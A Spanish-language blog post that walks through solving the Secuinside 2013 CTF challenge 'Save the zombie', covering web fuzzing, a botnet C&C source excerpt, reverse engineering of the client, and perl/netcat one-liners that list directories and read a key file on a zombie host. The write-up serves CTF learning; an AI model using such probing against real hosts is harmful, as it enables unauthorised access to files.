martes, 28 de mayo de 2013

Secuinside CTF - Save the zombie [400]

Este fin de semana se ha llevado a cabo el Capture The Flag de “Secuinside” organizado en Corea del Sur. A continuación paso a explicar la resolución de la prueba “Save the Zombie” premiada con 400 puntos, el cuál me pareció divertido e interesante.

La descripción que se nos daba era la siguiente:

--
binary : http://war.secuinside.com/files/Apache2
server : 54.214.248.168
A program is being run by one of the hackers on an abandoned website.
Rescue the zombie PCs controlled by the hacker!
--

La descripción de la prueba es sencilla, tenemos un servidor web que ha sido hackeado y que posiblemente se está utilizando de C&C de una red de botnets, y debemos conseguir el acceso al mismo o a uno de los clientes.

Si nos conectábamos a la dirección IP que nos daban mediante el protocolo HTTP, obteníamos el típico mensaje que devuelve el servidor web Apache “It works!”. Por lo que, una buena opción para empezar era realizar fuzzing web sobre el portal:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00396: C=200 196 L 552 W 3962 Ch " - apache"
02547: C=200 2 L 3 W 46 Ch " - index"
04890: C=301 9 L 28 W 312 Ch " - t"

El fichero “apache” encontrado contenía el código fuente del binario que se nos daba inicialmente y que se encontraba en ejecución en el servidor web, las partes más destacables del código eran:

Se está generando el directorio “t” para almacenar los logs del servidor, el cual ya hemos encontrado mediante el fuzzing web:

// check tmp directory, create it
DIR *dir = opendir( "t" );
if( dir == NULL )
system( "mkdir t" );
else
closedir( dir );
AddLog( logpath, "t/cli.exe" );

Los usuarios que envíen peticiones a dicho servidor con la palabra “BD-Register” en la cabecera “Accept: ” serán agregados al log, por lo que serán víctimas de la botnet:

char *tmpstr = myntoa( cli_ip );
printf( "connection from %s\n", tmpstr );
free( tmpstr );
#define ACCEPTLEN 2000
char acceptline[ACCEPTLEN];
char *tmp;
tmp = strstr( buffer, "Accept: " );
if( tmp != NULL )
{
strncpy( acceptline, tmp, ACCEPTLEN );
tmp = strchr( acceptline, '\n' );
if( tmp != NULL )
*tmp = 0;
}
else
goto _end;
char *exists = strstr( acceptline, "BD-Register" );
if( exists == NULL )
goto _end;
char *ip = myntoa( cli_ip );
printf( "client registered from %s\n", ip );
AddLog( logpath, ip );
free( ip );

Si fuzzeábamos el directorio “/t” nos topamos con lo siguiente:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00192: C=200 175 L 175 W 2447 Ch " - a"
02545: C=200 0 L 0 W 0 Ch " - index"

El fichero “a” contiene los logs de los zombies que se conectan al C&C:

t/cli.exe
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68

Ya tenemos la dirección IP de nuestro zombie y parece que nos dan la opción de descargarnos el cliente de la botnet, fichero “t/cli.exe”.

Si realizábamos ingeniería inversa sobre el binario se podía encontrar que éste se pone a la escucha en el puerto 8080 en hexadecimal “1F90”, que curiosamente también se encuentra abierto en cliente zombie encontrado en los logs “115.68.108.68”:

image

Si nos conectamos a dicho puerto mediante Netcat parece que no conseguimos realizar ninguna acción, posiblemente debamos enviar alguna secuencia de comandos para interactuar con él. Si continuamos con las comprobaciones que realiza el binario nos encontramos con las siguientes:

image

Estamos recibiendo a través del socket cuatro bytes que posteriormente serán comparados con las tres opciones mostradas anteriormente:

- Valor “1”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, “GetFileAttributesA”, entre otras.

- Valor “2”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, entre otras.

- Valor “3”: Posteriormente realiza acciones con la instrucción “ReadFile”, entre otras.

Ya estamos cerca, parece que primero deberemos obtener el listado de los ficheros existentes en el directorio y posteriormente leer el fichero con la key.

Es necesario aclarar que al estar leyendo cuatro bytes, hemos de enviarle al cliente zombie la siguiente dirección “0x0000000X”, ya que de lo contrario el comparador no funcionará correctamente.

Demandamos la opción 1 con el path “.”:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 192.168.1.136 8080
C:\Users\dromero\Desktop\zombieC:\Users\dromero\Desktop\zombie?<DIR> \..
45056 \cli.exe
40 \fake_key.txt

Demandamos la opción 4 con el fichero “fake_key.txt”:

[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00fake_key.txt"' | nc 192.168.1.136 8080
fake_key.txt
This is a fake key, Get the real key ;)

Tenemos nuestra key en local, por lo que realizamos el mismo proceso en el cliente zombie real encontrado en los logs:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 115.68.108.68 8080
C:\Users\user\Desktop\my zombie pcC:\Users\user\Desktop\my zombie pc=<DIR> \..
45056 \cli.exe
43 \my_k3y.txt
[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00my_k3y.txt"' | nc 115.68.108.68 8080
my_k3y.txt
the key is "Night Of The Living Dead"

De este modo conseguíamos la key válida y nos hacíamos con 400 puntos más ;)

Un Saludo!!

1 comentario:

  1. Muy buena Dani, me hubiera encantado estar allí con vosotros... Para el proximo ctf! :)

    ResponderEliminar